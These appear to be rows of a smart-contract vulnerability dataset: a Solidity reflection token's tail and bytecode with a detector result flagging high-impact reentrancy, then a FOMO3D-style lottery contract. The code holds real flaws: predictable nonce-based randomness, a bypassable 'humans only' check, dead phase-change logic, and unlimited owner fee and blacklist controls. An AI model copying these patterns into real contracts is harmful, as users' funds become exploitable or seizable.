function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610560578063dd62ed3e14610580578063ea1644d5146105c6578063f2fde38b146105e657600080fd5b8063a2a957bb146104db578063a9059cbb146104fb578063bfd792841461051b578063c3c8cd801461054b57600080fd5b80638f70ccf7116100d15780638f70ccf7146104535780638f9a55c01461047357806395d89b411461048957806398a5c315146104bb57600080fd5b80637d1db4a5146103f25780637f2feddc146104085780638da5cb5b1461043557600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038857806370a082311461039d578063715018a6146103bd57806374010ece146103d257600080fd5b8063313ce5671461030c57806349bd5a5e146103285780636b999053146103485780636d8aa8f81461036857600080fd5b80631694505e116101ab5780631694505e1461027857806318160ddd146102b057806323b872dd146102d65780632fd689e3146102f657600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024857600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461196c565b610606565b005b34801561020a57600080fd5b5060408051808201909152600f81526e54656d706c6520456c6f6e2044414f60881b60208201525b60405161023f9190611a31565b60405180910390f35b34801561025457600080fd5b50610268610263366004611a86565b6106a5565b604051901515815260200161023f565b34801561028457600080fd5b50601454610298906001600160a01b031681565b6040516001600160a01b03909116815260200161023f565b3480156102bc57600080fd5b506836c1f7acf13d5cd2005b60405190815260200161023f565b3480156102e257600080fd5b506102686102f1366004611ab2565b6106bc565b34801561030257600080fd5b506102c860185481565b34801561031857600080fd5b506040516009815260200161023f565b34801561033457600080fd5b50601554610298906001600160a01b031681565b34801561035457600080fd5b506101fc610363366004611af3565b610725565b34801561037457600080fd5b506101fc610383366004611b20565b610770565b34801561039457600080fd5b506101fc6107b8565b3480156103a957600080fd5b506102c86103b8366004611af3565b610803565b3480156103c957600080fd5b506101fc610825565b3480156103de57600080fd5b506101fc6103ed366004611b3b565b610899565b3480156103fe57600080fd5b506102c860165481565b34801561041457600080fd5b506102c8610423366004611af3565b60116020526000908152604090205481565b34801561044157600080fd5b506000546001600160a01b0316610298565b34801561045f57600080fd5b506101fc61046e366004611b20565b6108c8565b34801561047f57600080fd5b506102c860175481565b34801561049557600080fd5b506040805180820190915260098152682a32b6b83632b637b760b91b6020820152610232565b3480156104c757600080fd5b506101fc6104d6366004611b3b565b610910565b3480156104e757600080fd5b506101fc6104f6366004611b54565b61093f565b34801561050757600080fd5b50610268610516366004611a86565b61097d565b34801561052757600080fd5b50610268610536366004611af3565b60106020526000908152604090205460ff1681565b34801561055757600080fd5b506101fc61098a565b34801561056c57600080fd5b506101fc61057b366004611b86565b6109de565b34801561058c57600080fd5b506102c861059b366004611c0a565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105d257600080fd5b506101fc6105e1366004611b3b565b610a7f565b3480156105f257600080fd5b506101fc610601366004611af3565b610aae565b6000546001600160a01b031633146106395760405162461bcd60e51b815260040161063090611c43565b60405180910390fd5b60005b81518110156106a15760016010600084848151811061065d5761065d611c78565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069981611ca4565b91505061063c565b5050565b60006106b2338484610b98565b5060015b92915050565b60006106c9848484610cbc565b61071b843361071685604051806060016040528060288152602001611dbe602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f8565b610b98565b5060019392505050565b6000546001600160a01b0316331461074f5760405162461bcd60e51b815260040161063090611c43565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461079a5760405162461bcd60e51b815260040161063090611c43565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107ed57506013546001600160a01b0316336001600160a01b0316145b6107f657600080fd5b4761080081611232565b50565b6001600160a01b0381166000908152600260205260408120546106b69061126c565b6000546001600160a01b0316331461084f5760405162461bcd60e51b815260040161063090611c43565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108c35760405162461bcd60e51b815260040161063090611c43565b601655565b6000546001600160a01b031633146108f25760405162461bcd60e51b815260040161063090611c43565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461093a5760405162461bcd60e51b815260040161063090611c43565b601855565b6000546001600160a01b031633146109695760405162461bcd60e51b815260040161063090611c43565b600893909355600a91909155600955600b55565b60006106b2338484610cbc565b6012546001600160a01b0316336001600160a01b031614806109bf57506013546001600160a01b0316336001600160a01b0316145b6109c857600080fd5b60006109d330610803565b9050610800816112f0565b6000546001600160a01b03163314610a085760405162461bcd60e51b815260040161063090611c43565b60005b82811015610a79578160056000868685818110610a2a57610a2a611c78565b9050602002016020810190610a3f9190611af3565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a7181611ca4565b915050610a0b565b50505050565b6000546001600160a01b03163314610aa95760405162461bcd60e51b815260040161063090611c43565b601755565b6000546001600160a01b03163314610ad85760405162461bcd60e51b815260040161063090611c43565b6001600160a01b038116610b3d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610630565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bfa5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610630565b6001600160a01b038216610c5b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610630565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d205760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610630565b6001600160a01b038216610d825760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610630565b60008111610de45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610630565b6000546001600160a01b03848116911614801590610e1057506000546001600160a01b03838116911614155b156110f157601554600160a01b900460ff16610ea9576000546001600160a01b03848116911614610ea95760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610630565b601654811115610efb5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610630565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3d57506001600160a01b03821660009081526010602052604090205460ff16155b610f955760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610630565b6015546001600160a01b0383811691161461101a5760175481610fb784610803565b610fc19190611cbf565b1061101a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610630565b600061102530610803565b60185460165491925082101590821061103e5760165491505b8080156110555750601554600160a81b900460ff16155b801561106f57506015546001600160a01b03868116911614155b80156110845750601554600160b01b900460ff165b80156110a957506001600160a01b03851660009081526005602052604090205460ff16155b80156110ce57506001600160a01b03841660009081526005602052604090205460ff16155b156110ee576110dc826112f0565b4780156110ec576110ec47611232565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061113357506001600160a01b03831660009081526005602052604090205460ff165b8061116557506015546001600160a01b0385811691161480159061116557506015546001600160a01b03848116911614155b15611172575060006111ec565b6015546001600160a01b03858116911614801561119d57506014546001600160a01b03848116911614155b156111af57600854600c55600954600d555b6015546001600160a01b0384811691161480156111da57506014546001600160a01b03858116911614155b156111ec57600a54600c55600b54600d555b610a7984848484611479565b6000818484111561121c5760405162461bcd60e51b81526004016106309190611a31565b5060006112298486611cd7565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106a1573d6000803e3d6000fd5b60006006548211156112d35760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610630565b60006112dd6114a7565b90506112e983826114ca565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133857611338611c78565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138c57600080fd5b505afa1580156113a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c49190611cee565b816001815181106113d7576113d7611c78565b6001600160a01b0392831660209182029290920101526014546113fd9130911684610b98565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611436908590600090869030904290600401611d0b565b600060405180830381600087803b15801561145057600080fd5b505af1158015611464573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114865761148661150c565b61149184848461153a565b80610a7957610a79600e54600c55600f54600d55565b60008060006114b4611631565b90925090506114c382826114ca565b9250505090565b60006112e983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611673565b600c5415801561151c5750600d54155b1561152357565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154c876116a1565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157e90876116fe565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115ad9086611740565b6001600160a01b0389166000908152600260205260409020556115cf8161179f565b6115d984836117e9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161e91815260200190565b60405180910390a3505050505050505050565b60065460009081906836c1f7acf13d5cd20061164d82826114ca565b82101561166a575050600654926836c1f7acf13d5cd20092509050565b90939092509050565b600081836116945760405162461bcd60e51b81526004016106309190611a31565b5060006112298486611d7c565b60008060008060008060008060006116be8a600c54600d5461180d565b92509250925060006116ce6114a7565b905060008060006116e18e878787611862565b919e509c509a509598509396509194505050505091939550919395565b60006112e983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f8565b60008061174d8385611cbf565b9050838110156112e95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610630565b60006117a96114a7565b905060006117b783836118b2565b306000908152600260205260409020549091506117d49082611740565b30600090815260026020526040902055505050565b6006546117f690836116fe565b6006556007546118069082611740565b6007555050565b6000808080611827606461182189896118b2565b906114ca565b9050600061183a60646118218a896118b2565b905060006118528261184c8b866116fe565b906116fe565b9992985090965090945050505050565b600080808061187188866118b2565b9050600061187f88876118b2565b9050600061188d88886118b2565b9050600061189f8261184c86866116fe565b939b939a50919850919650505050505050565b6000826118c1575060006106b6565b60006118cd8385611d9e565b9050826118da8583611d7c565b146112e95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610630565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461080057600080fd5b803561196781611947565b919050565b6000602080838503121561197f57600080fd5b823567ffffffffffffffff8082111561199757600080fd5b818501915085601f8301126119ab57600080fd5b8135818111156119bd576119bd611931565b8060051b604051601f19603f830116810181811085821117156119e2576119e2611931565b604052918252848201925083810185019188831115611a0057600080fd5b938501935b82851015611a2557611a168561195c565b84529385019392850192611a05565b98975050505050505050565b600060208083528351808285015260005b81811015611a5e57858101830151858201604001528201611a42565b81811115611a70576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9957600080fd5b8235611aa481611947565b946020939093013593505050565b600080600060608486031215611ac757600080fd5b8335611ad281611947565b92506020840135611ae281611947565b929592945050506040919091013590565b600060208284031215611b0557600080fd5b81356112e981611947565b8035801515811461196757600080fd5b600060208284031215611b3257600080fd5b6112e982611b10565b600060208284031215611b4d57600080fd5b5035919050565b60008060008060808587031215611b6a57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9b57600080fd5b833567ffffffffffffffff80821115611bb357600080fd5b818601915086601f830112611bc757600080fd5b813581811115611bd657600080fd5b8760208260051b8501011115611beb57600080fd5b602092830195509350611c019186019050611b10565b90509250925092565b60008060408385031215611c1d57600080fd5b8235611c2881611947565b91506020830135611c3881611947565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cb857611cb8611c8e565b5060010190565b60008219821115611cd257611cd2611c8e565b500190565b600082821015611ce957611ce9611c8e565b500390565b600060208284031215611d0057600080fd5b81516112e981611947565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d5b5784516001600160a01b031683529383019391830191600101611d36565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9957634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611db857611db8611c8e565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220996268c5dcf8609669ebb557645bf91a94b6c447a614f99f86f34c45eff62f2a64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 9,410 |
0x62190802001819f42cb2eda7017d3c617af431c1
|
pragma solidity ^0.4.24;
contract INTIME {
using SafeMath for *;
struct Player {
uint id;
uint referrer;
uint generation;
string name;
uint256 weight;
uint256 balance;
uint256 withdrawal;
uint256 referralBonus;
uint256 lastKeyBonus;
uint256 potBonus;
uint256 stakingBonus;
uint256 airdropBonus;
}
mapping(address => Player) public players;
// System
address public teamAddress;
uint256 public teamNamingIncome;
address public keyAddress;
address[] participantPool;
uint256 participantPoolStart;
uint256 participantPoolEnd;
address[] public participants;
uint256 public participantsLength;
address[] public winner;
uint256 public deadline;
uint256 keyPrice_min;
uint256 keyPrice_max;
uint256 public keyPrice;
uint256 public currentGeneration;
uint256 public currentKeyRound;
uint256 public duration;
uint256[] public durationPhaseArray;
uint256 public durationPhaseIndex;
uint256 public poolWeight;
uint256 public poolBalance;
uint256 public poolReward;
uint256 public poolWithdraw;
bool public airdropped;
bool public keyLocked;
uint256 public airdropWinTime;
uint256 public airdropBalance;
uint256 public airdroppedAmount;
uint256 public unitStake;
uint256 public potReserve;
mapping(string => address) addressFromName;
event Withdrawal(
address indexed _from,
uint256 _value
);
event Deposit(
address indexed _keyHolder,
uint256 _weight,
uint256 _keyPrice,
uint256 _deadline,
uint256 _durationPhaseIndex,
bool _phaseChanged,
uint256 _poolBalance,
uint256 _poolReward,
uint256 _poolWeight,
// If Airdrop
bool _airdropped,
uint256 _airdropBalance,
// If Trigger Reserve
bool _potReserveGive,
uint256 _potReserve
);
/**
* @dev prevents contracts from interacting with fomo3d
*/
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
/**
* Constructor function
*
*/
constructor (
address _teamAddress
) public {
teamAddress = _teamAddress;
keyPrice_min = 1e14; // in wei, 0.0001 eth
keyPrice_max = 15e15; // in wei, 0.015 eth
keyPrice = keyPrice_min; // in wei, 0.0001 eth
keyAddress = msg.sender;
durationPhaseArray = [1440, 720, 360, 180, 90, 60, 30];
durationPhaseIndex = 0;
duration = durationPhaseArray[durationPhaseIndex];
currentGeneration = 0;
resetGame();
}
function resetGame() private {
uint256 residualBalance = 0;
if(currentGeneration != 0) {
// Distribute tokens
// Staking distribution => distributed on deposit
// Pool distribution => 20%
unitStake = 0;
// 75% for the winner;
players[keyAddress].balance += poolBalance / 5 * 75 / 100;
players[keyAddress].lastKeyBonus += poolBalance / 5 * 75 / 100;
// 15% for random participant
if(participantPoolEnd - participantPoolStart > 0) {
uint randParticipantIndex = rand(participantPoolStart + 1, participantPoolEnd);
players[participantPool[randParticipantIndex - 1]].balance += poolBalance / 5 * 15 / 100;
players[participantPool[randParticipantIndex - 1]].lastKeyBonus += poolBalance / 5 * 15 / 100;
} else {
players[keyAddress].balance += poolBalance / 5 * 15 / 100;
players[keyAddress].lastKeyBonus += poolBalance / 5 * 15 / 100;
}
// 10% and pot reserve for next round
residualBalance += poolBalance / 5 * 10 / 100 + potReserve;
winner.push(keyAddress);
}
airdropWinTime = now;
keyPrice = 1e15;
poolWeight = 0;
poolReward = 0;
potReserve = 0;
// Reset duration and deadline
durationPhaseIndex = 0;
duration = durationPhaseArray[durationPhaseIndex];
deadline = now + duration * 1 minutes;
poolBalance = residualBalance;
keyLocked = false;
currentKeyRound = 0;
currentGeneration ++;
keyAddress = teamAddress;
participantPoolStart = participantPool.length;
participantPoolEnd = participantPool.length;
}
/**
* Unique address
*
*/
function setName(string name) isHuman() payable public {
uint256 amount = msg.value;
require(amount >= 1e15);
require(addressFromName[name] == address(0));
players[teamAddress].balance += amount;
teamNamingIncome += amount;
players[msg.sender].name = name;
addressFromName[name] = msg.sender;
}
/**
* Fallback function
*
* The function without name is the default function that is called whenever anyone sends funds to a contract
*/
function referralName (string name) isHuman() payable public {
if(addressFromName[name] != address(0) && addressFromName[name] != msg.sender && players[msg.sender].referrer == 0)
players[msg.sender].referrer = players[addressFromName[name]].id;
uint256 amount = msg.value;
deposit(amount);
}
function referralPay (uint referrer) isHuman() payable public {
if(referrer > participants.length)
referrer = 0;
if(players[msg.sender].id != referrer && players[msg.sender].referrer == 0)
players[msg.sender].referrer = referrer;
uint256 amount = msg.value;
deposit(amount);
}
function () isHuman() payable public {
uint256 amount = msg.value;
deposit(amount);
}
function depositVault (uint keyCount, uint referrer) isHuman() public {
require(keyLocked == false);
keyLocked = true;
// Buy key from current balance
uint256 amount = keyCount * keyPrice;
uint256 availableWithdrawal = players[msg.sender].balance - players[msg.sender].withdrawal;
require(amount <= availableWithdrawal);
require(amount > 0);
players[msg.sender].withdrawal += amount;
if(referrer > participants.length)
referrer = 0;
if(players[msg.sender].id != referrer && players[msg.sender].referrer == 0)
players[msg.sender].referrer = referrer;
keyLocked = false;
deposit(amount);
}
function deposit(uint256 amount) private {
if(now >= deadline) resetGame();
require(keyLocked == false);
keyLocked = true;
// Update pool balance
require(amount >= keyPrice, "You have to buy at least one key.");
poolBalance += amount;
currentKeyRound ++;
participantPool.push(msg.sender);
participantPoolEnd = participantPool.length;
// Update deadline if not last round
if(durationPhaseIndex < 6) deadline = now + duration * 1 minutes;
// Update key holder
keyAddress = msg.sender;
if(players[msg.sender].generation == 0) {
participants.push(msg.sender);
participantsLength = participants.length;
players[msg.sender].id = participants.length;
}
if(players[msg.sender].generation != currentGeneration) {
players[msg.sender].generation = currentGeneration;
players[msg.sender].weight = 0;
}
// Handling stake distribution
uint256 p_i = 0;
uint256 deltaStake = 0;
address _addr;
// 58% for staking
if(poolWeight > 0) {
unitStake = amount * 58 / 100 / poolWeight;
for(p_i = 0; p_i < participants.length; p_i++) {
_addr = participants[p_i];
if(players[_addr].generation == currentGeneration) {
players[_addr].balance += players[_addr].weight * unitStake;
players[_addr].stakingBonus += players[_addr].weight * unitStake;
}
}
}
// 15% for referral
if(players[msg.sender].referrer > 0) {
_addr = participants[players[msg.sender].referrer - 1];
players[_addr].balance += amount * 15 / 100;
players[_addr].referralBonus += amount * 15 / 100;
} else {
if(poolWeight > 0) {
deltaStake = amount * 15 / 100 / poolWeight;
for(p_i = 0; p_i < participants.length; p_i++) {
_addr = participants[p_i];
if(players[_addr].generation == currentGeneration) {
players[_addr].balance += players[_addr].weight * deltaStake;
players[_addr].stakingBonus += players[_addr].weight * deltaStake;
}
}
} else {
players[teamAddress].balance += amount * 15 / 100;
players[teamAddress].stakingBonus += amount * 15 / 100;
}
}
// 4% for team
unitStake += deltaStake;
players[teamAddress].balance += amount * 4 / 100;
players[teamAddress].stakingBonus += amount * 4 / 100;
poolReward += amount * 77 / 100;
airdropBalance += amount * 2 / 100;
airdropped = false;
airdroppedAmount = 0;
uint randNum = 0;
if(amount >= 1e17 && amount < 1e18) {
// 0.1 ~ 1 eth, 1% chance
randNum = rand(1, 10000);
if(randNum <= 10) airdropped = true;
} else if(amount >= 1e18 && amount < 1e19) {
// 1 eth ~ 10 eth, 10% chance
randNum = rand(1, 10000);
if(randNum <= 100) airdropped = true;
} else if(amount >= 1e19) {
// greater than 1 eth, 5% chance
randNum = rand(1, 10000);
if(randNum <= 500) airdropped = true;
}
bool _phaseChanged = false;
if(airdropped) {
airdropWinTime = now;
players[msg.sender].balance += airdropBalance;
players[msg.sender].airdropBonus += airdropBalance;
poolReward += airdropBalance;
airdroppedAmount = airdropBalance;
airdropBalance = 0;
if(durationPhaseIndex == 0 && airdropBalance >= 1e18) _phaseChanged = true;
else if(durationPhaseIndex == 1 && airdropBalance >= 2e18) _phaseChanged = true;
else if(durationPhaseIndex == 2 && airdropBalance >= 3e18) _phaseChanged = true;
else if(durationPhaseIndex == 3 && airdropBalance >= 5e18) _phaseChanged = true;
else if(durationPhaseIndex == 4 && airdropBalance >= 7e18) _phaseChanged = true;
else if(durationPhaseIndex == 5 && airdropBalance >= 1e19) _phaseChanged = true;
if(_phaseChanged) {
durationPhaseIndex ++;
duration = durationPhaseArray[durationPhaseIndex];
deadline = now + duration * 1 minutes;
}
}
// Staking weight calculation
uint256 weight = amount.mul(1e7).div(keyPrice);
players[msg.sender].weight += weight;
uint256 originalPoolSegment = poolWeight / ((5e5).mul(1e7));
poolWeight += weight;
uint256 afterPoolSegment = poolWeight / ((5e5).mul(1e7));
// Different Segment => giveout potReserve, every 1e5 keys
potReserve += amount * 1 / 100;
bool _potReserveGive = false;
uint256 _potReserve = potReserve;
if(originalPoolSegment != afterPoolSegment) {
_potReserveGive = true;
players[msg.sender].balance += potReserve;
players[msg.sender].potBonus += potReserve;
poolReward += potReserve;
potReserve = 0;
}
// Grow key price
if(keyPrice < keyPrice_max) {
keyPrice = keyPrice_max - (1e23 - poolBalance).mul(keyPrice_max - keyPrice_min).div(1e23);
} else {
keyPrice = keyPrice_max;
}
keyLocked = false;
emit Deposit(
msg.sender,
weight,
keyPrice,
deadline,
durationPhaseIndex,
_phaseChanged,
poolBalance,
poolReward,
poolWeight,
airdropped,
airdropBalance,
_potReserveGive,
_potReserve
);
}
uint256 nonce = 0;
function rand(uint min, uint max) private returns (uint){
nonce++;
return uint(keccak256(toBytes(nonce)))%(min+max)-min;
}
function toBytes(uint256 x) private pure returns (bytes b) {
b = new bytes(32);
assembly { mstore(add(b, 32), x) }
}
/**
* Withdraw the funds
*/
function safeWithdrawal() isHuman() public {
uint256 availableWithdrawal = players[msg.sender].balance - players[msg.sender].withdrawal;
require(availableWithdrawal > 0);
require(keyLocked == false);
keyLocked = true;
poolWithdraw += availableWithdrawal;
players[msg.sender].withdrawal += availableWithdrawal;
msg.sender.transfer(availableWithdrawal);
keyLocked = false;
emit Withdrawal(msg.sender, availableWithdrawal);
}
function helpWithdrawal(address userAddress) isHuman() public {
// Will only be executed when user himself cannot withdraw and asks our team for help
require(msg.sender == teamAddress);
uint256 availableWithdrawal = players[userAddress].balance - players[userAddress].withdrawal;
require(availableWithdrawal > 0);
require(keyLocked == false);
keyLocked = true;
poolWithdraw += availableWithdrawal;
players[userAddress].withdrawal += availableWithdrawal;
// Service fee: 5%
players[teamAddress].balance += availableWithdrawal * 5 / 100;
// User get 95%
userAddress.transfer(availableWithdrawal * 95 / 100);
keyLocked = false;
emit Withdrawal(userAddress, availableWithdrawal);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
|
